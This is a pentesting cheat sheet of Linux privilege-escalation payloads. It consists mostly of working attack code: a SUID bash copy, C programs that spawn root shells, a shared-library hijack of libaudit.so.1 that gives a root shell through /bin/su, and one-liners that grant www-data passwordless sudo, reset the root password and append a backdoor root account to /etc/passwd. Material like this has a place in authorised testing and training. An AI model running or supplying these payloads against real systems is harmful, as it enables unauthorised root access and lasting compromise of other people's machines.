Pentesting

Payloads to execute

Bash

cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntu

C

//gcc payload.c -o payload
int main(void){
setresuid(0, 0, 0); #Set as user suid user
system("/bin/sh");
return 0;
}
//gcc payload.c -o payload
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main(){
setuid(getuid());
system("/bin/bash");
return 0;
}

Overwriting a file to escalate privileges

Common files

  • Add user with password to /etc/passwd

  • Change password inside /etc/shadow

  • Add user to sudoers in /etc/sudoers

  • Abuse docker through the docker socket, usually in /run/docker.sock or /var/run/docker.sock

Overwriting a library

Check a library used by some binary, in this case /bin/su:

ldd /bin/su
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)

In this case lets try to impersonate /lib/x86_64-linux-gnu/libaudit.so.1. So, check for functions of this library used by the su binary:

objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_open
0000000000000000 DF *UND* 0000000000000000 audit_log_user_message
0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message
000000000020e968 g DO .bss 0000000000000004 Base audit_fd

The symbols audit_open, audit_log_acct_message, audit_log_acct_message and audit_fd are probably from the libaudit.so.1 library. As the libaudit.so.1 will be overwritten by the malicious shared library, these symbols should be present in the new shared library, otherwise the program will not be able to find the symbol and will exit.

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
//gcc -shared -o /lib/x86_64-linux-gnu/libaudit.so.1 -fPIC inject.c
int audit_open;
int audit_log_acct_message;
int audit_log_user_message;
int audit_fd;
void inject()__attribute__((constructor));
void inject()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

Now, just calling /bin/su you will obtain a shell as root.

Scripts

Can you make root execute something?

www-data to sudoers

echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

Change root password

echo "root:hacked" | chpasswd

Add new root user to /etc/passwd

echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd